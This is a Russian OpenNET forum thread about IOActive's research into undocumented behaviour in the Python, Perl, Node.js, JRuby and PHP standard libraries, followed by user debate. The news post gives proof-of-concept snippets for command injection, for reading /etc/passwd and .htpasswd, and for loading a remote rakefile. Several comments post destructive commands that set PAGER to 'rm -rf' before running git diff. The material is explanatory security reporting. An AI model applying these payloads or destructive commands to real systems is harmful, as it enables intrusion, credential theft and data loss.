The OpenNET Project / Index page

[ новости/++ | форум | wiki | теги ]



"Неявные свойства языков программирования, которые могут прив..."
Вариант для распечатки  
Пред. тема | След. тема 
Форум Разговоры, обсуждение новостей
Изначальное сообщение [ Отслеживать ]

"Неявные свойства языков программирования, которые могут прив..."  +/
Сообщение от opennews (??) on 10-Дек-17, 00:33 
Исследователи из компании IOActive представили на конференции Black Hat Europe доклад (https://www.blackhat.com/docs/eu-17/materials/eu-17-Arnabold...), в котором подвели итоги работы по выявлению  недокументированной функциональности в интерпретируемых языках программирования, которая может потенциально стать причиной появления уязвимостей в приложениях. Код разработанного в рамках исследования инструментария ZDiFF (Extended Differential Fuzzing Framework), который применялся для выявления потенциальных уязвимостей, опубликован (https://github.com/IOActive/XDiFF) под лицензией GPLv3.


Примером подобной функциональности, который подтолкнул к проведению исследования, является давно известная особенность (https://sakurity.com/blog/2015/02/28/openuri.html) открытия ссылок через функцию open() в языке Ruby. При передаче URL в качестве аргумента, данная функция позволяет загрузить удалённую страницу, чем пользуются многие разработчики. При этом не все учитывают, что при отсутствии надлежащей проверки (например, при проверке входных значений через "/^https:/"), вместо URL может быть передана конструкция вида "|head /etc/passwd;\nhttps://url.com", которая приведёт к выполнению кода "head /etc/passwd" в системе.


Проведя fuzzing-тестирование стандартных наборов библиотек популярных языков программирования была выявлена серия недокументированных особенностей в Python, Perl, Node.js, JRuby и PHP, которые сами по себе не являются уязвимостями, но могут стать источником их появления в приложениях:


-  Недокументированный способ выполнения кода в Python, используя метод pipeto() в библиотеке mimetool, метод pipepager в библиотеке pydoc или манипулируя переменной окружения  PAGER  при выполнении метода pager в pydoc.  Например, для выполнения программы id можно использовать


   import mimetools
   print(mimetools.pipeto(None,'id'))

   или
   import pydoc
   print(pydoc.pipepager(None,'id')

   или
   $ export PAGER="id> bar"
   $ python -c "import pydoc;pydoc.pager('foo')"

-  Локальное выполнение кода в программах на языке Perl, использующих функцию embeddable_typemap() из модуля "ExtUtils::Typemaps::Cmd" для загрузки XS typemap, которая имеет неприятную особенность исполнения аргумента как Perl-кода в случае ошибки. Для выполнения программы id можно использовать код (параметр функции embeddable_typemap будет выполнен через eval и результат показан в составе сообщения об ошибке):


   use ExtUtils::Typemaps::Cmd;
   print embeddable_typemap("system 'id'");

-  Утечка данных из файла в составе сообщения об ошибке в Node.JS. При возможности контролировать имена модулей, загружаемых через вызов
require(), в случае попытки загрузки не JavaScript-файла буде сгенерирован SyntaxError, но при использовании JavaScript-движка V8 в составе текста ошибки будет выдано содержимое первой строки файла.
Например, попытка выполнить "console.log(require('.htpasswd'))" приведёт к выводу содержимого первой строки файла ".htpasswd" в тексте ошибки.

-  Возможность выполнения кода в программах JRuby, использующих класс Rake. Напрмер, для выполнения команды id можно разместить на внешнем сайте файл http://x.x.x.x/canaryfile с содержимым "пустая строка puts %x(id)" и инициировать обработку ссылки http://x.x.x.x/canaryfile в функции load_rakefile:


   require "rake";
   puts Rake.load_rakefile("http://x.x.x.x/canaryfile");

-  Выполнение команд в коде на PHP, использующем неопределённые константы, которые интерпретируются как строки. В случае если константы определяются в одном файле, а использующие их вызов   в другом, можно напрямую обратиться ко второму файлу и вместо содержимого константы значение будет обработано как строковое имя константы. Например:


   echo shell_exec(escapeshellcmd(bash." -c id"));

приведёт к выполнению "bash -c id", хотя по задумке разработчиков в константе bash могли передаваться другие данные.


URL: https://www.reddit.com/r/netsec/comments/7igtuv/exposing_hid.../
Новость: http://www.opennet.ru/opennews/art.shtml?num=47714

Ответить | Правка | Cообщить модератору

Оглавление

Сообщения по теме [Сортировка по времени | RSS]


4. "Неявные свойства языков программирования, которые могут прив..."  –1 +/
Сообщение от Аноним (??) on 10-Дек-17, 01:00 
Все нормальные хостеры давно запретили вызов консольных команд из скрипта РНР...
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

7. "Неявные свойства языков программирования, которые могут прив..."  –9 +/
Сообщение от нах on 10-Дек-17, 01:20 
список этих "нормальных" дятлов озвучьте, плиз. Он не должен быть большим.

чтоб не долго гадать, почему восстановление пароля, к примеру, не работает.

Ответить | Правка | ^ к родителю #4 | Наверх | Cообщить модератору

21. "Неявные свойства языков программирования, которые могут прив..."  +5 +/
Сообщение от кавайи on 10-Дек-17, 09:27 
>чтоб не долго гадать, почему восстановление пароля, к примеру, не работает.

ну и как восстановление пароля связано с запретом на выполнение консольных команд из скрипта?

Ответить | Правка | ^ к родителю #7 | Наверх | Cообщить модератору

10. "Неявные свойства языков программирования, которые могут прив..."  +1 +/
Сообщение от Аноним (??) on 10-Дек-17, 01:59 
Я надеялся что "нормальные" шареды уже сдохли в эпоху VPS за 1 евро. Вы меня огорчаете.
Ответить | Правка | ^ к родителю #4 | Наверх | Cообщить модератору

30. "Неявные свойства языков программирования, которые могут прив..."  +2 +/
Сообщение от anomymous on 10-Дек-17, 13:42 
"VPS за 1 евро" требует от хостящегося ещё знаний апача, нгинха, линухов, умения обновлять систему, следить за производительностью (ага, шаред можед оказаться лучше впс за 1 евро), обновлять всё это хозяйство, файрволить и т.п.

В общем, накладных расходов получается сильно больше 1 евро. Поэтому шареды жили, живут, и жить будут.

Ответить | Правка | ^ к родителю #10 | Наверх | Cообщить модератору

53. "Неявные свойства языков программирования, которые могут прив..."  +/
Сообщение от Аноним (??) on 11-Дек-17, 04:06 
Я чего то не пойму и нафига вам пароли от докер контейнеров там же ничего нет внутри ...
Ответить | Правка | ^ к родителю #30 | Наверх | Cообщить модератору

60. "Неявные свойства языков программирования, которые могут прив..."  –2 +/
Сообщение от amonymous on 11-Дек-17, 14:37 
Запустите мне на докере на ноде с 8Гб RAM хотя бы 1500 вхостов - приходите.
Ответить | Правка | ^ к родителю #53 | Наверх | Cообщить модератору

69. "Неявные свойства языков программирования, которые могут прив..."  –2 +/
Сообщение от Аноним (??) on 12-Дек-17, 01:07 
Это такой толстый тролинг? ну если у вас на тачке живут 1.5к хоумпаг с трафиком 2 поисковых бота и один живой юзер в день, то да шаред хостинг незаменим.
Ответить | Правка | ^ к родителю #60 | Наверх | Cообщить модератору

82. "где VPS за 1 евро?"  +/
Сообщение от Иван (??) on 20-Дек-17, 22:17 
Это где можно взять VPS за 1 евро? Только с FreeBSD, а не OpenVZ. ihor не предлагайте. Там телефон требуют и деньги без скана паспорта не возвращают.
Ответить | Правка | ^ к родителю #10 | Наверх | Cообщить модератору

40. "Неявные свойства языков программирования, которые могут прив..."  –3 +/
Сообщение от pavlinux (ok) on 10-Дек-17, 20:38 
> Все нормальные хостеры давно запретили вызов консольных команд из скрипта РНР...

Чем консольный head отличается от head.php?

Ответить | Правка | ^ к родителю #4 | Наверх | Cообщить модератору

56. "Неявные свойства языков программирования, которые могут прив..."  +6 +/
Сообщение от Anonymoustus (ok) on 11-Дек-17, 09:44 
Вот он — признак профессионализма. А ведь как умело притворялся…
Ответить | Правка | ^ к родителю #40 | Наверх | Cообщить модератору

9. "Неявные свойства языков программирования, которые могут прив..."  –1 +/
Сообщение от Gemorroj (ok) on 10-Дек-17, 01:55 
про пхп.
в текущей стабильной версии на неопределенные константы кидает варнинг. https://3v4l.org/LOvdj
В будущих версиях неопределенные константы  будут кидать эксепшен http://php.net/manual/ru/migration72.incompatible.php#migrat...
---
да и вообще, несколько притянуто за уши.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

38. "Неявные свойства языков программирования, которые могут прив..."  +2 +/
Сообщение от Аноним (??) on 10-Дек-17, 19:59 
Во-первых, удивительно, как кому-то вообще пришло в голову обрабатывать так неопределенные константы; во-вторых, удивительно, сколько времени потребовалось, чтобы осознать ошибку.
Ответить | Правка | ^ к родителю #9 | Наверх | Cообщить модератору

71. "Неявные свойства языков программирования, которые могут прив..."  +/
Сообщение от wd on 12-Дек-17, 02:02 
wd ~ % perl -le 'print "zzz".aaa."zzz"'
zzzaaazzz
wd ~ % perl -le 'sub aaa(){123};print "zzz".aaa."zzz"'
zzz123zzz
wd ~ % perl -wle 'sub aaa(){123};print "zzz".aaa."zzz"'
zzz123zzz
wd ~ % perl -wle 'print "zzz".aaa."zzz"'
Unquoted string "aaa" may clash with future reserved word at -e line 1.
zzzaaazzz

но писать в продакшн без strict моветон...

Ответить | Правка | ^ к родителю #38 | Наверх | Cообщить модератору

73. "Неявные свойства языков программирования, которые могут прив..."  +/
Сообщение от Аноним (??) on 12-Дек-17, 04:32 
> но писать в продакшн без strict моветон...

и хрен бы с ним, можно и без если например научить себя по дефолту использовать конструкции которые не могуть дать неопределенность


> print "zzz".aaa."zzz"

вот от таких конструкции, например, надо уходить в определенность если программа у вас больше размером одного экрана или не одноразовая для личной конкретной задачи "здесь и сейчас". С определенностью будет так:

> print "zzz".aaa()."zzz"

PS: с perl надо понимать что и для чего вы делаете

Ответить | Правка | ^ к родителю #71 | Наверх | Cообщить модератору

81. "Неявные свойства языков программирования, которые могут прив..."  +/
Сообщение от Клыкастый (ok) on 18-Дек-17, 13:20 
> и хрен бы с ним, можно и без если например научить себя по дефолту

Можно. Но зачем? И можно просто приучить себя к strict - и проще и правильнее.

Ответить | Правка | ^ к родителю #73 | Наверх | Cообщить модератору

77. "Неявные свойства языков программирования, которые могут прив..."  +1 +/
Сообщение от Anonymoustus (ok) on 12-Дек-17, 09:54 
> но писать в продакшн без strict моветон...

Даже как-то не верится, что читаешь это на опеннете.

Ответить | Правка | ^ к родителю #71 | Наверх | Cообщить модератору

14. "Неявные свойства языков программирования, которые могут прив..."  –1 +/
Сообщение от Аноним (??) on 10-Дек-17, 04:17 
И кто этот pipepager юзает? А со своим PAGER так вообще.

Тоже мне новость, взяли не самые популярные модули и давай фаззить. Я уж было по заголовку подумал, что беда в самих языках. Тут отметился только open в Ruby и, ожидаемо, нода.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

15. "Неявные свойства языков программирования, которые могут прив..."  +/
Сообщение от Аноним (??) on 10-Дек-17, 06:37 
Да как бы нода тоже довольно притянута. Слабо себе представляю ситуацию, когда бы по пользовательскому вводу подгружались модули. + при этом нужно чтобы еще и стектрейс исключения выплевывался пользователю. Так сейчас мало кто делает.
Ответить | Правка | ^ к родителю #14 | Наверх | Cообщить модератору

16. "Неявные свойства языков программирования, которые могут прив..."  +/
Сообщение от Аноним (??) on 10-Дек-17, 06:44 
К тому же, в отличии от других проблем, в ноде конкретно эту дыру легко пофиксить, т.к. она не завязана какую-то функциональность, просто не очень аккуратно оформленное сообщение об ошибке. + только первая строчка файла. Вряд ли есть реальные системы, где это можно эксплуатировать.
Ответить | Правка | ^ к родителю #15 | Наверх | Cообщить модератору

17. "Неявные свойства языков программирования, которые могут прив..."  +/
Сообщение от Аноним (??) on 10-Дек-17, 06:44 
А где же жаба?
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

34. "Неявные свойства языков программирования, которые могут прив..."  –1 +/
Сообщение от лютый жабист__ on 10-Дек-17, 14:30 
Неуязвима само собой :>
Ответить | Правка | ^ к родителю #17 | Наверх | Cообщить модератору

47. "Неявные свойства языков программирования, которые могут прив..."  +2 +/
Сообщение от Аноним84701 (ok) on 10-Дек-17, 23:28 
> Неуязвима само собой :>

В смысле, https://www.opennet.ru/opennews/art.shtml?num=46167
> 09.03.2017 11:04  Волна взломов сайтов через неисправленную уязвимость в Apache Struts
> Уязвимость позволяет выполнить произвольный код на сервере, отправив запрос со специально оформленным содержимым HTTP-заголовка "Content-Type".
> ...
> В случае, если заголовок Content-Type содержит некорректное значение, срабатывает исключение для отображения сообщения об ошибке, которое, если в тексте присутствует маска "multipart/form-data", также приводит к вызову обработчика Multipart parser и выполнению произвольного кода, передаваемого через выражение OGNL.

https://www.opennet.ru/opennews/art.shtml?num=47170
> 10.09.2017 20:02  Уязвимость в Apache Struts стала причиной утечки персональных данных 143 млн американцев

было давно и поэтому почти неправда?


Ответить | Правка | ^ к родителю #34 | Наверх | Cообщить модератору

79. "Неявные свойства языков программирования, которые могут прив..."  +/
Сообщение от qsdg (ok) on 14-Дек-17, 01:13 
Статья была про языки, а не про конкретные программы. Или та дыра была из-за какой-то фичи именно Жабы, из-за которой легко допустить ошибку?
Ответить | Правка | ^ к родителю #47 | Наверх | Cообщить модератору

54. "Неявные свойства языков программирования, которые могут прив..."  +2 +/
Сообщение от qrKot on 11-Дек-17, 09:12 
>> А где же жаба?

Читаем новость:
"недокументированной функциональности в интерпретируемых языках программирования"
"интерпретируемых языках программирования"
"интерпретируемых"

Ответить | Правка | ^ к родителю #17 | Наверх | Cообщить модератору

78. "Неявные свойства языков программирования, которые могут прив..."  +/
Сообщение от qsdg (ok) on 14-Дек-17, 01:09 
Мистер не знает, что Жаба -- интерпретируемый язык :)

У неё есть встроенный JIT компилятор (как и у почти всех остальных интерпретируемых языков). Для фанатов есть внешние AOT компиляторы, но я на практике не видел, чтобы ими особо пользовались.

Читаем primary goals of java:
...
5. It must be "interpreted, threaded, and dynamic".

https://en.wikipedia.org/wiki/Java_(programming_language)

Ответить | Правка | ^ к родителю #54 | Наверх | Cообщить модератору

19. "Неявные свойства языков программирования, которые могут прив..."  +2 +/
Сообщение от ыы on 10-Дек-17, 08:38 
Гора родила мышь...

Table 2: Number of functions tested per category
Category Number of Functions Tested
JavaScript 450
PHP 1405
Ruby 2483
Perl 3105
Python 3814

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

20. "Неявные свойства языков программирования, которые могут прив..."  +4 +/
Сообщение от Аноним (??) on 10-Дек-17, 08:52 
Вообще интересно как они исследуют/тестируют так как к примеру в perl упомянутый модуль не входит в базовую поставку, соответственно данная проблема будет только у тех кто пользуется этим модулем. Каким образом они вышли на этот модуль? Они весь cpan подвергают фаззингу?
Ответить | Правка | ^ к родителю #19 | Наверх | Cообщить модератору

39. "Неявные свойства языков программирования, которые могут прив..."  +5 +/
Сообщение от Stop on 10-Дек-17, 20:09 
Без упоминания перла любой обзор про скриптовые языки становится кастрированным.
Пришлось натягивать сову на глобус.
Ответить | Правка | ^ к родителю #20 | Наверх | Cообщить модератору

49. "Это не 'левый модуль с CPAN', 150 обратных зависимостей"  –3 +/
Сообщение от Khedin on 10-Дек-17, 23:35 
...включая довольно популярные модули. И в свежепоставленном perlbrew 5.26.1 (последний) он тоже есть. Не баран чихнул.

https://metacpan.org/requires/distribution/ExtUtils-ParseXS?...

Ответить | Правка | ^ к родителю #20 | Наверх | Cообщить модератору

63. "Это не 'левый модуль с CPAN', 150 обратных зависимостей"  +/
Сообщение от angra (ok) on 11-Дек-17, 20:44 
Осталось выяснить, кто из них использует именно ExtUtils::Typemaps::Cmd - модуль предназначенный для однострочников.
Ответить | Правка | ^ к родителю #49 | Наверх | Cообщить модератору

74. "Это не 'левый модуль с CPAN', 150 обратных зависимостей"  +/
Сообщение от Аноним (??) on 12-Дек-17, 07:16 
>  Осталось выяснить, кто из них использует именно ExtUtils::Typemaps::Cmd - модуль предназначенный для однострочников.

Докладываю:

ExtUtils::Typemaps::Cmd.pm использует никто, поэтому ExtUtils::Typemaps::Cmd::embeddable_typemap еще более никто использует. ExtUtils::Typemaps::Cmd.pm не нужен, но идет поставляется вместе с пакетом ExtUtils::ParseXS. Пакет ExtUtils::ParseXS в CORE был добавлен в perl-5.10.0:
> $ man -P cat perl5100delta | grep ExtUtils
>       ·   "ExtUtils::CBuilder" and "ExtUtils::ParseXS" have been added.
>           "ExtUtils::MakeMaker" to build and install perl modules.

этим коммитом https://perl5.git.perl.org/perl.git/commit
>MANIFEST         diff | blob | blame | history
>dist/ExtUtils-ParseXS/lib/ExtUtils/Typemaps/Cmd.pm     [new file with mode: 0644]     blob
>dist/ExtUtils-ParseXS/t/515-t-cmd.t     [new file with mode: 0644]     blob
>dist/ExtUtils-ParseXS/t/lib/ExtUtils/Typemaps/Test.pm     [new file with mode: 0644]     blob
>dist/ExtUtils-ParseXS/t/lib/TypemapTest/Foo.pm     [new file with mode: 0644]     blob

неким Steffen Mueller'ом 19 января 2012 года в 19:58:49.

Модуль ExtUtils::ParseXS.pm за исключением модулей из ExtUtils::ParseXS::* используется в:
- утилите xsubpp  (из пакета ExtUtils::*)
- модуле ExtUtils::Typemaps.pm (из пакета ExtUtils::*)

Ответить | Правка | ^ к родителю #63 | Наверх | Cообщить модератору

75. "Это не 'левый модуль с CPAN', 150 обратных зависимостей"  +/
Сообщение от Аноним (??) on 12-Дек-17, 07:18 
> этим коммитом https://perl5.git.perl.org/perl.git/commit

холикрап, вот урл вашей собаке: https://perl5.git.perl.org/perl.git/commitdiff/dbeddf837c500...

Ответить | Правка | ^ к родителю #74 | Наверх | Cообщить модератору

22. "Неявные свойства языков программирования, которые могут прив..."  +2 +/
Сообщение от trolleybus email on 10-Дек-17, 10:54 
> Неявные свойства языков программирования

Вообще-то не языков, а реализаций

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

23. "Неявные свойства языков программирования, которые могут прив..."  +4 +/
Сообщение от Аноним (??) on 10-Дек-17, 11:15 
Получите, адепты типа безопасных языков.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

24. "Неявные свойства языков программирования, которые могут прив..."  –1 +/
Сообщение от ano (??) on 10-Дек-17, 11:32 
мышки и кактусы все в одном месте.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

25. "Неявные свойства языков программирования, которые могут прив..."  +/
Сообщение от Аноним (??) on 10-Дек-17, 12:41 
$ export PAGER='rm -rf  /'
$ git diff
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

41. "Неявные свойства языков программирования, которые могут прив..."  –1 +/
Сообщение от pavlinux (ok) on 10-Дек-17, 20:43 
> $ export PAGER='rm -rf  /'
> $ git diff

О мамонт, если ты был в заморозке последние 15 лет, то просвещаю: 'rm -rf /' не работает.

Ответить | Правка | ^ к родителю #25 | Наверх | Cообщить модератору

44. "Неявные свойства языков программирования, которые могут прив..."  +/
Сообщение от anonimus on 10-Дек-17, 22:10 
Суть уловить не судьба?
Ответить | Правка | ^ к родителю #41 | Наверх | Cообщить модератору

59. "Неявные свойства языков программирования, которые могут прив..."  +/
Сообщение от PnDx (ok) on 11-Дек-17, 13:16 
Попробуйте так:
export PAGER='rm -rf  /* 2>/dev/null'
git diff
#"Удовлетворение 100% гарантируем" ©
Ответить | Правка | ^ к родителю #41 | Наверх | Cообщить модератору

32. "Неявные свойства языков программирования, которые могут прив..."  +1 +/
Сообщение от Аноним (??) on 10-Дек-17, 13:45 
Да там сами языки - одна большая уязвимость. Особенно JS и PHP с их безумной типизацией.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

57. "Неявные свойства языков программирования, которые могут прив..."  +1 +/
Сообщение от Anonymoustus (ok) on 11-Дек-17, 09:50 
Зато вот принято говорить, что низок порог вхождения, ага.
Ответить | Правка | ^ к родителю #32 | Наверх | Cообщить модератору

65. "Неявные свойства языков программирования, которые могут прив..."  –3 +/
Сообщение от Led (ok) on 11-Дек-17, 22:22 
> Зато вот принято говорить, что низок порог вхождения, ага.

Это не порог, это плинтус.

Ответить | Правка | ^ к родителю #57 | Наверх | Cообщить модератору

67. "Неявные свойства языков программирования, которые могут прив..."  +/
Сообщение от антон (??) on 11-Дек-17, 22:49 
... вхождения в ад, вниз, под плинтус.
Ответить | Правка | ^ к родителю #65 | Наверх | Cообщить модератору

80. "Неявные свойства языков программирования, которые могут прив..."  –1 +/
Сообщение от Аноним (??) on 14-Дек-17, 16:50 
Компьютеры - одна большая уязвимость.
Ответить | Правка | ^ к родителю #32 | Наверх | Cообщить модератору

35. "Неявные свойства языков программирования, которые могут прив..."  –1 +/
Сообщение от stalkerdroad (ok) on 10-Дек-17, 15:04 
>> PHP
>> В случае если константы определяются в одном файле, а использующие их вызов в другом, можно напрямую обратиться ко второму файлу

В современных сайтах обращение к конкретным файлам не возможно. Там все запросы идут через Входной Скрипт.

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

42. "Неявные свойства языков программирования, которые могут прив..."  +/
Сообщение от pavlinux (ok) on 10-Дек-17, 20:45 
> В современных сайтах

Кто такие "современные сайты" и где живёт "входной скрипт"? :)

Ответить | Правка | ^ к родителю #35 | Наверх | Cообщить модератору

52. "Неявные свойства языков программирования, которые могут прив..."  +/
Сообщение от rshadow (ok) on 11-Дек-17, 01:06 
По всей видимости имеется ввиду сайт на современном фреймворке. Где в целях "красивого" роутинга используется единая точка входа всех запросов.
Ответить | Правка | ^ к родителю #42 | Наверх | Cообщить модератору

58. "Неявные свойства языков программирования, которые могут прив..."  +/
Сообщение от stalkerdroad (ok) on 11-Дек-17, 12:15 
> в целях "красивого" роутинга

И в целях безопасности. Файл Точки Входа может быть в папке htdocs, а остальные скрипты вообще в другой папке недоступной для вебсервера.

И в целях удобства обработки запросов. Когда на сайте сотни страниц (скриптов), то естественно придёшь к идее что нужно всё както упорядочить. И сделать единую точку входа.

Ответить | Правка | ^ к родителю #52 | Наверх | Cообщить модератору

36. "Неявные свойства языков программирования, которые могут прив..."  +1 +/
Сообщение от Аноним (??) on 10-Дек-17, 16:19 
Популярными становятся языки, которые пытаются казаться более умными и дружественными программисту: удобно же, когда можно особо передать что угодно в open и оно откроется, а то, что язык в результате становиться менее предсказуемым и более магическим не так важно, ведь чтобы стать популярным, язык должен угождать.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

37. "Неявные свойства языков программирования, которые могут прив..."  +/
Сообщение от Аноним (??) on 10-Дек-17, 16:23 
Недоредактировал:
s/особо//
s/становиться/становится/
Ответить | Правка | ^ к родителю #36 | Наверх | Cообщить модератору

46. "Неявные свойства языков программирования, которые могут прив..."  +8 +/
Сообщение от Аноним (??) on 10-Дек-17, 22:33 
Использую перл последние 18 лет, о существовании модуля `ExtUtils::Typemaps::Cmd` узнал только что из этой статьи.
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

55. "Неявные свойства языков программирования, которые могут прив..."  –5 +/
Сообщение от Аноним (??) on 11-Дек-17, 09:40 
Используешь перл - имеется в виду используешь софт, который использует перл?
ну тогда и я знаю си с самого 1995 года (а учиться программированию начал в 2007)
Ответить | Правка | ^ к родителю #46 | Наверх | Cообщить модератору

72. "Неявные свойства языков программирования, которые могут прив..."  +1 +/
Сообщение от Аноним (??) on 12-Дек-17, 04:13 
> Используешь перл - имеется в виду используешь софт
> а учиться программированию начал

мог бы и не начинать

Ответить | Правка | ^ к родителю #55 | Наверх | Cообщить модератору

50. "Неявные свойства языков программирования, которые могут прив..."  +2 +/
Сообщение от Аноним (??) on 11-Дек-17, 00:01 
>является давно известная особенность открытия ссылок через функцию open()

zero-cost abstractions такие zero-cost

Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

70. "Неявные свойства языков программирования, которые могут прив..."  +/
Сообщение от Аноним (??) on 12-Дек-17, 01:13 
тогда уж вот так
puts Rake.load_rakefile(my_var);
И да, мы тут всей конторой грузим исполняемые файлы из переменных, при этом специально не проверяем их ))
Ответить | Правка | ^ к родителю #0 | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема


  Закладки на сайте
  Проследить за страницей
Created 1996-2018 by Maxim Chirkov  
ДобавитьРекламаВебмастеруГИД  
Hosting by Ihor